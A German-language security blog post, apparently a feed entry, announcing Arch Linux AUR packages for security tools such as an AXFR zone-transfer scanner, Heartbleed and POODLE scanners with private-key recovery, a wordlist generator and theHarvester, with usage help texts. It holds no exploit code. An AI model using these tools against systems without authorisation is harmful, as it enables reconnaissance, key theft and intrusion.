    <id>https://www.internetwache.org/unterstutzung-des-aur-mit-sicherheitstools</id>
    <content type="html"><![CDATA[<p>Sebastian hat sein Arch Linux neu aufgesetzt und einige AUR (Arch user repository) Pakete erstellt. Jene, welche auch unter dem Gesichtspunkt der IT-Sicherheit interessant sind, werden folgend vorgestellt.</p>

<!-- more -->


<p>Die folgenden Pakete wurden von Sebastian erstellt und werden von ihm betreut.</p>

<h3>AXFR Scanner</h3>

<p>Nach unserer Untersuchung der <a href="https://www.internetwache.org/axfr-scan-der-alexa-top-1-million-29-03-2015/">Alexa Top 1 Millionen auf den sogenannten AXFR-Zonentransfer</a>, haben wir den <a href="https://github.com/internetwache/Python-AXFR-Test">AXFR Scanner</a> auf Github veröffentlicht. Dieses Tool lässt sich simpel über das Kommando <code>yaourt axfrscanner-git</code> installieren. Die Nutzung wurde leicht angepasst, um kommandozeilenfreundlicher zu sein:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; axfrscanner --help
</span><span class='line'>usage: axfrscanner [-h] [-i [INPUTFILE]] [-o [OUTPUTFILE]] [-l [LOGFILE]]
</span><span class='line'>                   [-p [PROCESSES]] [-d [DOMAIN]]
</span><span class='line'>
</span><span class='line'>Check domains' nameservers for public AXFR
</span><span class='line'>
</span><span class='line'>optional arguments:
</span><span class='line'>  -h, --help            zeigt die Hilfe an
</span><span class='line'>  -i [INPUTFILE], --inputfile [INPUTFILE]
</span><span class='line'>                        Inputdatei, gibt an von wo die Domains ausgelesen werden. Standard: stdin
</span><span class='line'>  -o [OUTPUTFILE], --outputfile [OUTPUTFILE]
</span><span class='line'>                        Outputdatei, gibt an wo die Zonendaten gespeichert werden. Standard: stdout
</span><span class='line'>  -l [LOGFILE], --logfile [LOGFILE]
</span><span class='line'>                        Logdatei. Standard: stderr
</span><span class='line'>  -p [PROCESSES], --processes [PROCESSES]
</span><span class='line'>                        Anzahl der Prozesse. Standard: 20
</span><span class='line'>  -d [DOMAIN], --domain [DOMAIN]
</span><span class='line'>                    . Ignored if -i is used.</span></code></pre></td></tr></table></div></figure>


<h2>Heartbleed Scanner</h2>

<p><a href="http://heartbleed.com/">Heartbleed</a> ist eine recht erschreckende Sicherheitslücke, welche 2014 entdeckt und seit dem immer wieder genutzt wurde, um private Schlüssel aus OpenSSL Applikationen auszulesen. Sebastian hat ein Paket erstellt, welches <code>heartbleedscanner-git</code> heißt. Es basiert auf den Heartbleed Python Tools von <a href="https://github.com/einaros/heartbleed-tools">einaros</a>. Dieses Paket enthält 3 verschiedene Tools:</p>

<ul>
<li><code>heartbleedscanner</code> : OpenSSL Heartbleed (CVE-2014-0160) Scanner und Data Miner.</li>
<li><code>heartbleedscanner-keyscan</code>: Erstellung von Speicherabbildern, Suche nach Primfaktoren.</li>
<li><code>heartbleedscanner-keydump</code>: Wiederherstellung der privaten SSL Schlüssel, basierend auf den zuvor ermittelten Primfaktoren.</li>
</ul>


<h2>Poodle Scanner</h2>

<p><a href="https://en.wikipedia.org/wiki/POODLE">Poodle</a> ist der Name einer Schwachstelle innerhalb des SSLv3 Protokolls. Nun gibt es ein Paket mit einem Python Poodle Scanning Tool von <a href="https://github.com/0xICF/POODLEScanner">0xICF</a> mit dem Namen <code>poodlescanner-git</code>.
Die Benutzung sieht folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; poodlescanner -H localhost
</span><span class='line'>localhost:443 SSLv3 [Errno 111] Connection refused</span></code></pre></td></tr></table></div></figure>


<h2>Useragent</h2>

<p> <code>useragent-git</code> ist ein kleines Bash-Script (<a href="https://github.com/gehaxelt/SH-UserAgent">Quellcode auf GitHub</a>) mit welchem verschiedene User-Agents dargestellt werden können. Das kann vor allem in Kombination mit curl oder wget Sinn machen.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; useragent -w
</span><span class='line'>Mozilla/5.0 (Windows NT 5.0; rv:10.0) Gecko/20100101 Firefox/10.0</span></code></pre></td></tr></table></div></figure>


<h2>Wordlist</h2>

<p> <code>wordlist-git</code> ist ein Paket für das <a href="https://github.com/rexos/wordlist">Python Wordlist Generation Script</a> von rexos. Mittels verschiedener Parameter kann man konkretisieren, wie die Wörterliste am Ende aussehen soll.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; wordlist 0-9 -m 2 -M 3
</span><span class='line'>00
</span><span class='line'>01
</span><span class='line'>02
</span><span class='line'>[...]
</span><span class='line'>999</span></code></pre></td></tr></table></div></figure>


<h2>theHarvester</h2>

<p> <code>theharvester-git</code> enthält ein Python Script welches dazu genutzt werden kann, um sensible Daten, etwa Emailadressen, Subdomains, offene Ports, Namen von Arbeitnehmern und viele weitere nützliche Informationen zu ermitteln. Solche Daten können beispielsweise Grundlage für weiterführende Angriffe oder Social Engineering sein. Weitere Informationen können unter dem entsprechenden <a href="https://github.com/laramies/theHarvester">Github Repository</a> abgerufen werden.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Benutzung: theharvester options 
</span><span class='line'>
</span><span class='line'>       -d: Domain to search or company name
</span><span class='line'>       -b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
</span><span class='line'>                        google-profiles, jigsaw, twitter, googleplus, all
</span><span class='line'>
</span><span class='line'>       -s: Start in result number X (default: 0)
</span><span class='line'>       -v: Verify host name via dns resolution and search for virtual hosts
</span><span class='line'>       -f: Save the results into an HTML and XML file
</span><span class='line'>       -n: Perform a DNS reverse query on all ranges discovered
</span><span class='line'>       -c: Perform a DNS brute force for the domain name
</span><span class='line'>       -t: Perform a DNS TLD expansion discovery
</span><span class='line'>       -e: Use this DNS server
</span><span class='line'>       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
</span><span class='line'>       -h: use SHODAN database to query discovered hosts
</span><span class='line'>            google 100 to 100, and pgp doesn't use this option)</span></code></pre></td></tr></table></div></figure>


<p>Diese Liste ist nur ein Auszug der von Sebastian veröffentlichten Pakete.
Weitere Security Pakete die im AUR gefunden werden können:</p>

<ul>
<li><code>burpsuite</code>: Kostenfreie Version von Burp Suite</li>
<li><code>wpscan</code>: Wordpress vulnerability scanner</li>
<li><code>sqlmap</code>: SQL injection helper</li>
<li><code>subbrute</code>: DNS subdomain brute forcer</li>
<li><code>sslyze</code>: SSL testing tool</li>
<li><code>ffdec</code>: Flash decompiler</li>
<li><code>metasploit</code>: Metasploit framework</li>
<li><code>radare2</code>: Portable reversing framework</li>
<li>und viele mehr</li>
</ul>


<p>Sebastian wird nach Möglichkeit weitere IT-Sicherheit relevante Pakete im AUR publizieren.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
</feed>
